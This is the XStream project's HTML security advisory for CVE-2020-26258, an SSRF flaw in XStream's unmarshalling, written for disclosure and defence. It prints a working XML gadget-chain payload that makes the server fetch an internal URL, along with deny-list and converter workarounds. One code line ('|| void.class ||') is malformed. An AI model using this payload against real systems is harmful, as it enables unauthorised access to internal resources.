<html>
<!--
 Copyright (C) 2020 XStream committers.
 All rights reserved.

 The software in this package is published under the terms of the BSD
 style license a copy of which has been included with this distribution in
 the LICENSE.txt file.

 Created on 24. November 2020 by Joerg Schaible
 -->
  <head>
    <title>CVE-2020-26258</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>

    <p>CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams
    from an arbitrary URL referencing a resource in an intranet or the local host.</p>

    <h2 id="affected_versions">Affected Versions</h2>

	<p>All versions until and including version 1.4.14 are affected running in a Java environment below Java 15, if
	using the version out of the box.  No user is affected, who followed the recommendation to setup
	<a href="security.html#framework">XStream's security framework</a> with a whitelist.</p>

    <h2 id="description">Description</h2>

    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in a server-side forgery request.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

	<p>Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and
	unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;map&gt;
  &lt;entry&gt;
    &lt;jdk.nashorn.internal.objects.NativeString&gt;
      &lt;flags&gt;0&lt;/flags&gt;
      &lt;value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'&gt;
        &lt;dataHandler&gt;
          &lt;dataSource class='javax.activation.URLDataSource'&gt;
            &lt;url&gt;http://localhost:8080/internal/:&lt;/url&gt;
          &lt;/dataSource&gt;
          &lt;transferFlavors/&gt;
        &lt;/dataHandler&gt;
        &lt;dataLen&gt;0&lt;/dataLen&gt;
      &lt;/value&gt;
    &lt;/jdk.nashorn.internal.objects.NativeString&gt;
    &lt;string&gt;test&lt;/string&gt;
  &lt;/entry&gt;
&lt;/map&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format, e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

	<p>The vulnerability may allow a remote attacker to request data from internal resources that are not publicly
	available only by manipulating the processed input stream.</p>

    <h2 id="workaround">Workaround</h2>
    <p>As recommended, use XStream's security framework to implement a whitelist for the allowed types.</p>
    <p>Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can
    simply add two lines to XStream's setup code:</p>
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
</pre></div>
    <p>Users of XStream 1.4.13 who want to use XStream default blacklist can simply add three lines to XStream's setup
    code:</p>
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
</pre></div>
    <p>Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from
    scratch and deny at least the following types: <em>javax.imageio.ImageIO$ContainsFilter</em>,
    <em>java.beans.EventHandler</em>, <em>java.lang.ProcessBuilder</em>, <em>jdk.nashorn.internal.objects.NativeString</em>,
    <em>java.lang.Void</em> and <em>void</em> and deny several types by name pattern.</p>
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });
</pre></div>
	<p>Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently
	know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:</p>
<div class="Source Java"><pre>xstream.registerConverter(new Converter() {
  public boolean canConvert(Class type) {
    return type != null &amp;&amp; (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class
        || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString")
        || type == java.lang.Void.class || void.class || Proxy.isProxy(type)
        || type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream"));
  }

  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }

  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }
}, XStream.PRIORITY_VERY_HIGH);
</pre></div>

    <h2 id="credits">Credits</h2>

    <p>钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.</p>

    </body>
 </html>